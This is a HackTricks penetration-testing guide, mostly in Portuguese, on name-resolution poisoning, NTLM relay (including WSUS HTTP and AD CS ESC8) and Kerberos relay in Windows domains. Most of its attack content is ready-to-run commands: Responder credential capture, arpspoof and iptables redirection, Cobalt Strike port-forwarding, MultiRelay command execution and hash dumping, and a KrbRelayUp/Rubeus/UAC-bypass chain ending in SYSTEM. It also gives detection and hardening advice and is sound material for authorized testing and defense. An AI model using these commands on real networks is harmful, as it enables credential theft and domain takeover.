Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Relay Attacks

Reading time: 15 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Protocolos de Rede

Protocolos Locais de Resolução de Nomes

  • LLMNR, NBT-NS e mDNS:
  • Microsoft e outros sistemas operacionais usam LLMNR e NBT-NS para resolução de nomes locais quando o DNS falha. De forma semelhante, sistemas Apple e Linux usam mDNS.
  • Esses protocolos são suscetíveis à interceptação e spoofing devido à sua natureza de broadcast não autenticada sobre UDP.
  • Responder pode ser usado para se passar por serviços enviando respostas forjadas para hosts que fazem consultas nesses protocolos.
  • Mais informações sobre impersonação de serviços usando Responder podem ser encontradas aqui.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD permite que os navegadores descubram automaticamente as configurações de proxy.
  • A descoberta é facilitada via DHCP, DNS, ou fallback para LLMNR e NBT-NS se o DNS falhar.
  • Responder pode automatizar ataques WPAD, direcionando clientes para servidores WPAD maliciosos.

Responder for Protocol Poisoning

  • Responder é uma ferramenta usada para envenenar consultas LLMNR, NBT-NS e mDNS, respondendo seletivamente com base nos tipos de consulta, visando principalmente serviços SMB.
  • Vem pré-instalado no Kali Linux, configurável em /etc/responder/Responder.conf.
  • Responder exibe hashes capturados na tela e os salva no diretório /usr/share/responder/logs.
  • Suporta tanto IPv4 quanto IPv6.
  • A versão para Windows do Responder está disponível aqui.

Executando o Responder

  • Para executar o Responder com configurações padrão: responder -I <Interface>
  • Para sondagem mais agressiva (com possíveis efeitos colaterais): responder -I <Interface> -P -r -v
  • Técnicas para capturar challenges/respostas NTLMv1 para facilitar o cracking: responder -I <Interface> --lm --disable-ess
  • A impersonação WPAD pode ser ativada com: responder -I <Interface> --wpad
  • Requisições NetBIOS podem ser resolvidas para o IP do atacante, e um proxy de autenticação pode ser configurado: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

  • Forjar respostas DHCP pode envenenar permanentemente as informações de roteamento de uma vítima, oferecendo uma alternativa mais furtiva ao ARP poisoning.
  • Requer conhecimento preciso da configuração da rede alvo.
  • Executando o ataque: ./Responder.py -I eth0 -Pdv
  • Esse método pode capturar efetivamente hashes NTLMv1/2, mas requer manuseio cuidadoso para evitar a interrupção da rede.

Capturing Credentials with Responder

  • Responder irá se passar por serviços usando os protocolos mencionados acima, capturando credenciais (normalmente NTLMv2 Challenge/Response) quando um usuário tenta autenticar-se contra os serviços falsificados.
  • Podem ser feitas tentativas de downgrade para NetNTLMv1 ou desabilitar ESS para facilitar o cracking de credenciais.

É crucial notar que empregar essas técnicas deve ser feito legal e eticamente, garantindo autorização adequada e evitando interrupção ou acesso não autorizado.

Inveigh

Inveigh é uma ferramenta para penetration testers e red teamers, projetada para sistemas Windows. Oferece funcionalidades similares ao Responder, realizando spoofing e ataques man-in-the-middle. A ferramenta evoluiu de um script PowerShell para um binário C#, com Inveigh e InveighZero como as principais versões. Parâmetros detalhados e instruções podem ser encontrados na wiki.

O Inveigh pode ser operado através do PowerShell:

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ou executado como um binário C#:

bash
Inveigh.exe

NTLM Relay Attack

Esse ataque explora sessões de autenticação SMB para acessar uma máquina alvo, concedendo uma shell do sistema se for bem-sucedido. Pré-requisitos principais incluem:

  • O usuário autenticante deve ter Local Admin access no relayed host.
  • SMB signing deve estar desabilitado.

445 Port Forwarding and Tunneling

Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser encaminhado e tunelado. Ferramentas como PortBender ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando há Local Admin access disponível para o carregamento de drivers.

PortBender setup and operation in Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Outras ferramentas para NTLM Relay Attack

  • Metasploit: Configure com proxies e detalhes dos hosts local e remoto.
  • smbrelayx: Um script Python para relaying de sessões SMB e executar comandos ou implantar backdoors.
  • MultiRelay: Uma ferramenta da suíte Responder para relaying de usuários específicos ou de todos os usuários, executar comandos ou dump hashes.

Cada ferramenta pode ser configurada para operar através de um SOCKS proxy se necessário, permitindo ataques mesmo com acesso de rede indireto.

Operação do MultiRelay

MultiRelay é executado a partir do /usr/share/responder/tools directory, visando IPs específicos ou usuários.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

WSUS clients authenticate to their update server using NTLM over HTTP (8530) or HTTPS (8531). When HTTP is enabled, periodic client check-ins can be coerced or intercepted on the local segment and relayed with ntlmrelayx to LDAP/LDAPS/SMB or AD CS HTTP endpoints (ESC8) without cracking any hashes. This blends into normal update traffic and frequently yields machine-account authentications (HOST$).

O que procurar

  • GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and ...\WindowsUpdate\AU:
  • WUServer (e.g., http://wsus.domain.local:8530)
  • WUStatusServer (reporting URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled and DetectionFrequency (hours)
  • WSUS SOAP endpoints used by clients over HTTP:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Default ports: 8530/tcp HTTP, 8531/tcp HTTPS

Reconhecimento

  • Unauthenticated
  • Scan for listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL
  • Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
  • Authenticated
  • Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
  • Query endpoints at scale from hosts (NetExec) or locally: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

  1. Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

  3. Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

Other common targets:

  • Relay to SMB (if signing off) for exec/dump: -t smb://
  • Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
  • Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:

AD CS Domain Escalation

  1. Trigger a client check-in or wait for schedule. From a client: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).

  2. Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).

HTTPS constraint (8531)

  • Passive interception of WSUS over HTTPS is ineffective unless clients trust your certificate. Without a trusted cert or other TLS break, the NTLM handshake can’t be harvested/relayed from WSUS HTTPS traffic.

Notes

  • WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
  • Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
  • Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).

Force NTLM Logins

In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNs’ service classes differ (e.g. CIFS/LDAP/) because the key that decrypts the ticket is the machine’s NT hash, not the SPN string itself and the SPN string is not part of the signature.

Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.

For detailed info about this attack check:

TokenPurposeRelay relevance
TGT / AS-REQ ↔ REPProves the user to the KDCuntouched
Service ticket / TGS-REQ ↔ REPBound to one SPN; encrypted with the SPN owner’s keyinterchangeable if SPNs share account
AP-REQClient sends TGS to the servicewhat we steal & replay
  • Tickets are encrypted with the password-derived key of the account that owns the SPN.
  • The Authenticator inside the AP-REQ has a 5-minute timestamp; replay inside that window is valid until the service cache sees a duplicate.
  • Windows rarely checks if the SPN string in the ticket matches the service you hit, so a ticket for CIFS/HOST normally decrypts fine on LDAP/HOST.
    1. What must be true to relay Kerberos
  1. Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
  2. No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
  3. You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
  4. Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the server’s replay cache fires Event 4649.
  5. You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.

Kerberos Relay Steps

  • 3.1 Recon do host
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Inicie o relay listener

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp empacota KrbRelay → LDAP → RBCD → Rubeus → SCM bypass em um único binário.

  • 3.3 Coerce Kerberos auth
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce faz o DC enviar um ticket Kerberos CIFS/DC01 para nós.

  • 3.4 Relay the AP-REQ

KrbRelay extrai o GSS blob do SMB, reempacota-o em um LDAP bind, e o encaminha para ldap://DC01—a autenticação tem sucesso porque a mesma chave o descriptografa.

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Você agora possui NT AUTHORITY\SYSTEM.

Mais caminhos que vale a pena conhecer

VectorTrickWhy it matters
AuthIP / IPSecServidor falso envia um GSS-ID payload com qualquer SPN; o cliente constrói um AP-REQ direto para vocêFunciona mesmo entre sub-redes; credenciais da máquina por padrão
DCOM / MSRPCMalicious OXID resolver força o cliente a autenticar em SPN e porta arbitráriosPure local priv-esc; contorna o firewall
AD CS Web EnrollReencaminhe o ticket da máquina para HTTP/CA e obtenha um certificado, então PKINIT para emitir TGTsContorna defesas de assinatura LDAP
Shadow CredentialsEscreva msDS-KeyCredentialLink, então PKINIT com par de chaves forjadoNão é necessário adicionar uma conta de computador

Solução de problemas

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDTicket key ≠ target keyHost/SPN errado
KRB_AP_ERR_SKEWClock > 5 min offsetSincronize o tempo ou use w32tm
LDAP bind failsSigning enforcedUse o caminho AD CS ou desative a assinatura
Event 4649 spamService saw duplicate Authenticatorbloquear ou disputar (race) o pacote original

Detecção

  • Aumento repentino de Event 4769 para CIFS/, HTTP/, LDAP/ da mesma origem em segundos.
  • Event 4649 no serviço indica replay detectado.
  • Logon Kerberos a partir de 127.0.0.1 (relay para SCM local) é altamente suspeito — mapear via regra Sigma nos docs do KrbRelayUp.
  • Monitore alterações em msDS-AllowedToActOnBehalfOfOtherIdentity ou msDS-KeyCredentialLink attributes.

Endurecimento

  1. Exigir LDAP & SMB signing + EPA em todos os servidores.
  2. Separe os SPNs para que HTTP não esteja na mesma conta que CIFS/LDAP.
  3. Corrija vetores de coerção (PetitPotam KB5005413, DFS, AuthIP).
  4. Defina ms-DS-MachineAccountQuota = 0 para impedir junções de computadores não autorizados.
  5. Alerta para Event 4649 e logons Kerberos em loopback inesperados.

References

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks